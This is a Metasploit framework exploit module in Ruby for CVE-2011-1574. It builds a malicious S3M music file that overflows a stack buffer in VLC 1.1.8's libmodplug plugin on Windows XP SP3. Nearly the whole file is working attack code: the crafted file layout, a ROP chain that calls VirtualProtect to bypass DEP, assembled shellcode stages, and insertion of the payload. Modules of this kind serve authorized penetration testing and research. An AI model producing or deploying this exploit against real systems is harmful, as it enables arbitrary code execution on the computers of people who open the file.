1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 |
## # $Id: vlc_modplug_s3m.rb 12282 2011-04-08 15:48:53Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = AverageRanking include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'VideoLAN VLC ModPlug ReadS3M Stack Buffer Overflow', 'Description'=> %q{ This module exploits an input validation error in libmod_plugin as included with VideoLAN VLC 1.1.8. All versions prior to version 1.1.9 are affected. By creating a malicious S3M file, a remote attacker could execute arbitrary code. Although other products that bundle libmodplug may be vulnerable, this module was only tested against VLC. NOTE: As of July 1st, 2010, VLC now calls SetProcessDEPPoly to permanently enable NX support on machines that support it. As such, this module is capable of bypassing DEP, but not ASLR. }, 'License'=> MSF_LICENSE, 'Author' => [ 'jduck' ], 'Version'=> '$Revision: 12282 $', 'References' => [ [ 'CVE', '2011-1574' ], [ 'OSVDB', '72143' ], #[ 'BID', 'xxx' ], [ 'URL', 'http://modplug-xmms.git.sourceforge.net/git/gitweb.cgi?p=modplug-xmms/modplug-xmms;a=commitdiff;h=aecef259828a89bb00c2e6f78e89de7363b2237b' ], [ 'URL', 'http://hackipedia.org/File%20formats/Music/html/s3mformat.php' ], [ 'URL', 'https://www.sec-consult.com/files/20110407-0_libmodplug_stackoverflow.txt' ], [ 'URL', 'http://seclists.org/fulldisclosure/2011/Apr/113' ] ], 'Payload'=> { 'Space' => 512 - 0x24, # Space reserved for prepended mutex code #'DisableNops' => true, }, 'Platform' => 'win', 'Targets'=> [ [ 'VLC 1.1.8 on Windows XP SP3', { # vuln is in libmod_plugin.dll, rop is custom to this module } ], ], 'Privileged' => false, 'DisclosureDate' => 'Apr 07, 2011', # "found: 2011-03-09" 'DefaultTarget'=> 0)) register_options( [ OptString.new('FILENAME', [ true, 'The file name.','msf.s3m']), ], self.class) end def exploit num_orders = 0x14 num_instru = 0x15 num_patterns = 0x18 hdr = "\x00" * 0x1c # song name (none) hdr << [ 0x1a, # static byte 0x10, # ST3 module 0x00, # padding num_orders, num_instru, num_patterns, 0x00, # Flags 0x1320, # Created with (which tracker) 0x02, # File format information ].pack('CCvvvvvvv') hdr << "SCRM" hdr << [ 0x40, # global volume 0x06, # initial speed 0x8a, # initial tempo 0xb0, # master volume 0x10, # ultra click removal 0xfb# NOTE, non-0xfc value skips an additional loop! # 0xfc == default channel pan positions present ].pack('CCCCCC') hdr << "\x00" * 10# includes pad and special pointer # channel settings (for 32 channels) hdr << "\x00\x08\x01\x09\x02\x0a\x03\x0b\x04\x0c\x05\x0d\x06\x0e\x07\x0f" hdr << "\xff" * 16 # orders hdr << "\x07\x08\x0c\x09\x0a\x0b\x0b\x0d\x0e\x0f\x0f\x0f\x10\x11\x12\x13" hdr << "\x14\x16\x17\xff" # parapointers to instruments hdr << [ 0x0f ].pack('v') * num_instru # parapoitners to patterns hdr << [ 0x78 ].pack('v') * num_patterns # channel default pan positions hdr << "\x00" * 32 # instruments instru = "\x01metasplo.ity" rest = "\x00" * ((0x50 * num_instru) - instru.length) # Build the rop stack rvas = rvas_libmod_plugin_xpsp3() rop = generate_rop(rvas) zero_ptr = rva2addr(rvas, 'Scratch') + 4 mutex_addr = rva2addr(rvas, 'Scratch') + 8 imp_Sleep = rva2addr(rvas, 'imp_Sleep') # A mutex to prevent double payloads locking_code = <<-EOS mov ebx, [ #{imp_Sleep} ] jmp test_lock sleep: push 0xdeadbeef call ebx test_lock: mov eax, [ #{mutex_addr} ] test eax,eax jnz sleep lock cmpxchg [ #{mutex_addr} ], ebp test eax,eax jnz sleep EOS rop << Metasm::Shellcode.assemble(Metasm::Ia32.new, locking_code).encode_string rop << payload.encoded # This becomes the new EIP (after return) ret = rva2addr(rvas, 'pop eax / ret') rest[1267, 4] = [ ret ].pack('V') # In order to force return, we smash the this ptr on the stack and point # it so that m_nChannels turns out to be 0. rest[1271, 4] = [ zero_ptr - 0xe910 ].pack('V') # Add the ROP stack and final payload here rest[1275, rop.length] = rop instru << rest # patterns patt = [ 0x10 ].pack('v') patt << "\x00" * 0x10 # finalize the file s3m = "" s3m << hdr instru_pad = (0x0f * 0x10) - hdr.length s3m << "\x80" * instru_pad s3m << instru # patch in exploit trigger values s3m[0x22, 2] = [ 0x220 ].pack('v') s3m[0x24, 2] = [ 0x220 ].pack('v') print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(s3m) end def rvas_libmod_plugin_xpsp3() # libmod_plugin.dll from VLC 1.1.8 (Win32) # Just return this hash { # Used as 'Ret' for target 'ret'=> 0x1022, 'push eax / ret' => 0x1cc4d, 'pop eax / ret'=> 0x598a2, 'mov eax, [eax+0x1c] / ret' => 0x542c9, 'pop ebx / pop ebp / ret' => 0x25e2f, 'add eax, 4 / pop ebp / ret' => 0x7028, 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret' => 0x23dad, 'sub eax, ebx / pop ebx / pop edi / pop ebp / ret' => 0x7d64, } end def generate_rop(rvas) # ROP fun! (XP SP3 English, Apr 10 2011) rvas.merge!({ # Instructions / Name=> RVA 'BaseAddress'=> 0x653c0000, 'imp_VirtualProtect' => 0xec2f0 - 0x1c,# adjust for gadget used to resolve 'imp_Sleep'=> 0xec2dc, 'Scratch'=> 0x5fbfc, 'Data' => 0x60101, #'DataAdjusted' => 0x60000 - 0x58 + 0x8, 'DataAdjusted' => 0x60000 - 0x58, }) copy_stage = <<-EOS nop push esp pop esi lea edi, [eax+0x10] push 0x7f pop ecx inc ecx rep movsd EOS copy_stage = Metasm::Shellcode.assemble(Metasm::Ia32.new, copy_stage).encode_string if (copy_stage.length % 4) > 0 raise RuntimeError, "The copy stage is invalid" end rop_stack = [ # Resolve VirtualProtect 'pop eax / ret', 'imp_VirtualProtect', 'mov eax, [eax+0x1c] / ret', # Call VirtuaProtect 'push eax / ret', 'pop eax / ret', # after VirtualProtect # Args to VirtualProtect 'Data',# lpAddress (place holder, filled in @ runtime above) 0x1000,# dwSize 0x40,# flNewProtect 'Scratch', # lpflOldProtect # Load the pre-adjusted Data addr 'DataAdjusted', # matches pop eax / ret above ## # Write our code little stager to our newly executable memory. ## # Load the last 32-bits of code to write 'pop ebx / pop ebp / ret', copy_stage[0, 4].unpack('V').first, :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', copy_stage[4, 4].unpack('V').first, :unused, # esi :unused, # edi :unused, # ebp 'add eax, 4 / pop ebp / ret', :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', copy_stage[8, 4].unpack('V').first, :unused, # esi :unused, # edi :unused, # ebp 'add eax, 4 / pop ebp / ret', :unused, # ebp # Write & advance 'mov [eax+0x58], ebx / pop ebx / pop esi / pop edi / pop ebp / ret', 0xffffffb0,# adjustment value :unused, # esi :unused, # edi :unused, # ebp # Adjust eax 'sub eax, ebx / pop ebx / pop edi / pop ebp / ret', :unused, # ebx :unused, # edi :unused, # ebp # Execute the copy stage 'push eax / ret', ] rop_stack.map! { |e| if e.kind_of? String # Meta-replace (RVA) raise RuntimeError, "Unable to locate key: \"#{e}\"" if not rvas[e] rvas['BaseAddress'] + rvas[e] elsif e == :unused # Randomize rand_text(4).unpack('V').first else # Literal e end } rop_stack.pack('V*') end def rva2addr(rvas, key) raise RuntimeError, "Unable to locate key: \"#{key}\"" if not rvas[key] rvas['BaseAddress'] + rvas[key] end end |